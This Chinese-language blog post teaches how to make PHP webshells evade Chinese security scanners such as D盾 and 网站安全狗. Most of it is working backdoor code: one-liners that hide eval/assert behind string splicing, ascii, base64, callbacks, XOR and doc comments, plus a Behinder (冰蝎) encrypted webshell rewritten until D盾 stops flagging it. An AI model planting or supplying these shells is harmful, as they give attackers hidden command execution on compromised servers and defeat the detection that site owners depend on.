webshell免杀研究php篇

原理

向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。

结构

实现两步

  1. 数据的传递
  2. 执行所传递的数据

数据的传递

1.http请求中获取数据

$_GET、$_POST、$_COOKIES、$_FILE…HTTP包中的任何位置都可以作为payload的传输媒介   

2.从远程远程URL中获取数据

file_get_contents、curl、svn_checkout…将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取   

3.从磁盘文件中获取数据

file、file_get_contents…将需要执行的指令数据放在磁盘文件中,利用IO函数来读取   

4.从数据库中读取

将需要执行的指令放在数据库中,利用数据库函数来读取   

5.从图片头部中获取

exif_read_data…将需要执行的指令数据放在图片头部中,利用图片操作函数来读取

代码执行(将用户传输的数据进行执行)

1. 常用命令执行函数

eval、system…执行(这是最普通、标准的代码执行)

2. LFI

include、require…(利用浏览器的伪协议将文件包含转化为代码执行)

3. 动态函数执行

($()…PHP的动态函数特性)

4. Curly Syntax

(${${…}}…这种思路可以把变量赋值的漏洞转化为代码执行的机会)
  
ps:
PHP执行命令方法
  eval、passthru、system、assert、popen、exec、shell_exec

应对的杀毒软件

目前专业查杀webshell的软件是D盾、网站安全狗、护卫神等。

其他需要注意的主机上的杀毒软件有最常用的火绒和360,但这类杀毒软件对webshell针对性不强,一般识别不到。

所以目前制作免杀,主要还是针对D盾、安全狗等产品。

免杀思路

目前一句话webshell的查杀一般是通过特征查杀的,捕捉其结构中关键的两步,当检查到传入的参数被放在危险的命令执行方法中执行时,就会报后门。

所以需要分析这些查杀软件对哪些关键语句敏感,可以通过二分法寻找各个敏感的位置,然后通过其他方式重写这段会被检出的关键字或关键语句,就可初步达到免杀效果。

php5通常通过回调函数,编码拼接替换异或生成assert等方式实现免杀

php7常用$x($y)模式,$x为执行函数名,$y为参数。通过多层构造拼接,替换,移位,异或编码等方式去除特征,构造$x参数为eval,assert等,再通过这些方式去除GET POST REQUEST等入参方式,最后将入参变量传递给$y。

字符串变形

安全狗、D盾等查杀webshell时对执行命令的方法是最着重关注的,应对这种情况比较好用的免杀方式是在代码中不出现eval或assert等关键字

由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行

1
2
3
4
5
6
7
8
#php5
<?php
$a="a";
$b="sse";
$c="00";
$d= substr_replace($a.$b.$c,"rt",4);
$d($_POST['a'];
?>

其余的字符串变形方式有:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

但由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用

编码绕过

编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式

如ascii:

1
2
3
4
5
#php5
<?php
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
$a($_POST['a'];
?>

如base64:

1
2
3
4
5
#php5
<?php
$a = base64_decode("YX__Nz_ZX____J0");
$a($_POST[x]);
?>

其中php中base64函数不会对下划线做处理,可以任意位置添加下划线干扰。

但如上两种仍然是assert方式,仅能用于php5。

目前php7中可以直接将eval函数放出来,将输入函数进行编码,虽然D盾等看到eval就会报告低级别的可疑但是仍然能使用,且网站安全狗不会阻碍执行。

1
2
3
4
5
6
#php5/php7
<?php
$_1 = base64_decode("X1B____PU1_____Q=___");
$_2=${$_1}[a];
eval($_2);
?>

定义函数

此类方法是在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST $_GET等,但是目前这种方法几乎已经无法免杀了。

1
2
3
4
5
6
<?php 
function a($a){
$a($_POST['x']);
}
a(assert);
?>

回调函数

php5常用回调函数结合各种方式隐藏assert来执行命令

assert同样可使用各种字符处理方式,拼接,替换,移位,异或等方式去除特征

回调函数可用以下的列表

1
2
3
4
5
6
7
8
9
10
11
12
13
call_user_func_array()
call_user_func()
array_filter()
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

如array_map:

1
2
3
4
5
6
7
8
9
10
11
<?php
function username()
{

$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
return ''.$a;
}
$user = username();
$pass =array($_GET['password']);
array_map($user,$user = $pass );
?>

如call_user_func_array:

1
2
3
4
<?php
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($a, array($_GET['a']));
?>

此类方法仅适用php5,目前较有效,D盾可能会对回调函数报低级别可疑

特殊字符干扰

可增加各种无效特殊字符对规则干扰,如null,\n,以及base64中的下划线都是同样的意思

如使用下划线无意义的null拼接干扰规则:

1
2
3
4
5
$_1 = base64_decode("X1B____PU1_____Q=___");
$_2=${$_1}[a];
$_3=null;
eval($_3.$_2);
?>

这种方式目前单独使用也对免杀没有太大帮助了,但是可以组合别的方式使用。

数组

将执行代码放在数组中,配合其他绕过手段就仍然有效

1
2
3
4
5
<?php
$a = substr_replace("asse00","rt",4);
$b=array($array=array(''=>$a($_GET['x'])));
var_dump($b);
?>

php类中使用魔术方法执行,单独使用也高概率被查杀,可以组合其他免杀方式

1
2
3
4
5
6
7
8
9
10
11
<?php
class Student
{
public $_1='';
function __destruct(){
assert("$this->a");
}
}
$_2 = new Student;
$_2->$_1 = $_POST['a'];
?>

注册本地变量

这种方式目前未被查杀,但是可执行的命令有限制

1
<?php  $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

注释获取

ReflectionClass::getDocComment — 获取文档注释

某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑。

1
2
3
4
5
6
7
8
9
10
<?php  
/**
* assert($_GET[1+0]);
*/
class User { }
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$d = substr($comment , 14 , 20);
assert($d);
?>

异或等无字符特征

由于每一个字符都可由多组不同的两个字符异或而来,所以可以生成多个特征完全不同的木马。

1
2
3
4
5
<?php
$_1='_'.(hex2bin("10")^"@").(hex2bin("0F")^"@").(hex2bin("13")^"@").(hex2bin("14")^"@");
$_2=${$_1}[a];
eval($_2);
?>

冰蝎改造

冰蝎的动态二进制加密webshell是非常好的思路,冰蝎客户端自带的其他功能也较好用,有较多的安全从业者在使用,所以其自带的默认马已经完全无法免杀了。

不过由于大部分安全软件对其检测方式都是取默认马中的几段特征,用二分法很容易找到特征所在位置,只要将其特征位置替换为相同功能的语句即可免杀。

冰蝎默认马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

直接使用D盾扫描该文件,报五级可疑,已知后门,通过多次二分法发现

目前D盾识别冰蝎用到的特征是以下三处:

1
2
3
4
5
6
7
特征一
$post=file_get_contents("php://input");
特征二
$post[$i] = $post[$i]^$key[$i+1&15];
特征三
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);

分别去除发现第三处是最严格的特征,将第三处重写为

1
2
class C{public function __construct($p) {eval($p."");}}
@new C($params);

发现D盾报告降到3级可疑,可疑的位置是file_get_contents\openssl等关键字

我们可以通过多种之前提到的字符串处理方法处理这种类型的特征,此处我使用逆序函数处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.
$post=file_get_contents("php://input");
修改为
$post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));

2.
if(!extension_loaded('openssl'))
修改为
if(!extension_loaded(strrev('lssnepo')))

3.
$t="base64_"."decode";
修改为
$t=strrev("edoced_46esab");

此时没了这些特征关键字,D盾只能识别为二级可疑了

然后处理第三处特征

1
$post[$i] = $post[$i]^$key[$i+1&15];

将其拆开增加一个变量赋值过程,并将后面的15提前定义为变量,最后将异或的两个参数逆序,最终得到如下webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$kkk="e45e329feb5d925b";
$_SESSION['k']=$kkk;
$post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
$num=15;
if(!extension_loaded(strrev('lssnepo')))
{
$t=strrev("edoced_46esab");
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$temp= $kkk[$i+1&$num]^$post[$i];
$post[$i] =$temp;
}
}
else
{
$post=openssl_decrypt($post, "AES128", $kkk);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
?>

此时D盾已经无法检测(2021年3月)

最新D盾仍然可以报其二级可疑(2021年5月)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!